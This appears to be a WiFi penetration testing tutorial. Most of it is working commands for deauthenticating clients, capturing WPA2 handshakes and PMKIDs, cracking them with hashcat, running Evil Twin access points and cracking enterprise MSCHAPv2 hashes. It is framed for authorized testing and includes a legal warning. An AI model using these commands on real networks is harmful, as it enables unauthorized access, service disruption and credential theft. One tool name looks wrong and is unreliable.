WiFi penetration testing assesses the security of wireless networks by attempting to crack authentication credentials, intercept traffic, and test for client-side vulnerabilities. This guide covers the full wireless attack methodology — from capturing WPA2 handshakes to PMKID attacks and Evil Twin attacks — using industry-standard tools like Aircrack-ng, hashcat, and hostapd-wpe.
Prerequisites and Hardware
# Required: wireless adapter supporting monitor mode and packet injection
# Recommended chipsets: Alfa AWUS036ACS (RTL8811AU), Alfa AWUS036ACM (MT7612U)
# Verify adapter capabilities
iwconfig
iw list | grep -A 10 'Supported interface modes'
# Install tools
apt install aircrack-ng hashcat hcxtools hcxdumptool hostapd-wpe bettercapSetting Up Monitor Mode
# Kill interfering processes
airmon-ng check kill
# Enable monitor mode
airmon-ng start wlan0
# Creates wlan0mon interface
# Or manually
ip link set wlan0 down
iw wlan0 set monitor control
ip link set wlan0 up
# Verify
iwconfig wlan0mon # Should show Mode:MonitorReconnaissance
# Survey nearby networks
airodump-ng wlan0mon
# Target specific network (save output)
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Fields: BSSID, PWR, Beacons, #Data, CH, MB, ENC, CIPHER, AUTH, ESSID
# ENC: OPN/WEP/WPA/WPA2/WPA3
# AUTH: PSK (Pre-Shared Key) = personal; MGT = Enterprise (802.1X)WPA2 4-Way Handshake Capture
# Start capture on target channel
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w handshake wlan0mon
# In another terminal: deauthenticate a client to force reconnect
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon
# -0: deauth attack -5: 5 deauth packets
# Wait for 'WPA handshake: AA:BB:CC:DD:EE:FF' in airodump-ng output
# Captured in handshake-01.cap
# Verify handshake
aircrack-ng handshake-01.capCracking WPA2 with Hashcat
# Convert .cap to hashcat format
hcxpcapngtool -o hash.hc22000 handshake-01.cap
# Or use older method
aircap2hcl.bin handshake-01.cap | sort -u > hash.hccapx
# Crack with dictionary attack (hashcat mode 22000)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
# With rules (better coverage)
hashcat -m 22000 hash.hc22000 rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# WPA cracking via aircrack-ng
aircrack-ng handshake-01.cap -w /usr/share/wordlists/rockyou.txtPMKID Attack (Clientless)
The PMKID attack (discovered by Jens Steube in 2018) doesn’t require capturing a client handshake — you only need a single frame from the AP:
# Capture PMKID
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
# Wait until you see 'FOUND PMKID' messages (usually within seconds)
# Convert to hashcat format
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
# Crack with hashcat (same mode 22000)
hashcat -m 22000 pmkid.hc22000 rockyou.txt
hashcat -m 22000 pmkid.hc22000 -a 3 '?d?d?d?d?d?d?d?d' # 8-digit maskEvil Twin Attack
An Evil Twin creates a rogue AP with the same SSID as the target, forcing clients to connect to it and capturing credentials through a captive portal:
# Using bettercap
sudo bettercap -iface wlan0
# In bettercap:
set wifi.ap.ssid TargetNetwork
set wifi.ap.channel 6
set wifi.ap.encryption false
wifi.recon on
wifi.ap on
# More complete: use hostapd-wpe for WPA Enterprise
# Captures MSCHAPv2 credentials from enterprise clients
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.confWPA Enterprise (EAP) Attacks
# hostapd-wpe captures MSCHAPv2 hashes from EAP clients
# Crack MSCHAPv2 with asleap
asleap -C CHALLENGE -R RESPONSE -W rockyou.txt
# Or crack with hashcat (mode 5500 for NetNTLMv1)
hashcat -m 5500 'USER::DOMAIN:CHALLENGE:RESPONSE' rockyou.txtLegal Considerations
WiFi penetration testing requires explicit written authorization for the target network. Passive monitoring of wireless traffic (even in public) may violate the Computer Fraud and Abuse Act (CFAA) and equivalent laws in other jurisdictions. Only perform these techniques against networks you own or have explicit written permission to test. Deauthentication attacks are detectable and disruptive to legitimate users.
Conclusion
WPA2 cracking requires either capturing a 4-way handshake (by deauthenticating a client) or using the clientless PMKID attack. hashcat with GPU acceleration and good wordlists plus rules is significantly faster than aircrack-ng for offline cracking. Evil Twin attacks are powerful for credential capture but require more infrastructure setup. WPA3 networks are significantly more resistant to these techniques due to SAE (Simultaneous Authentication of Equals), making dictionary attacks against captured material infeasible.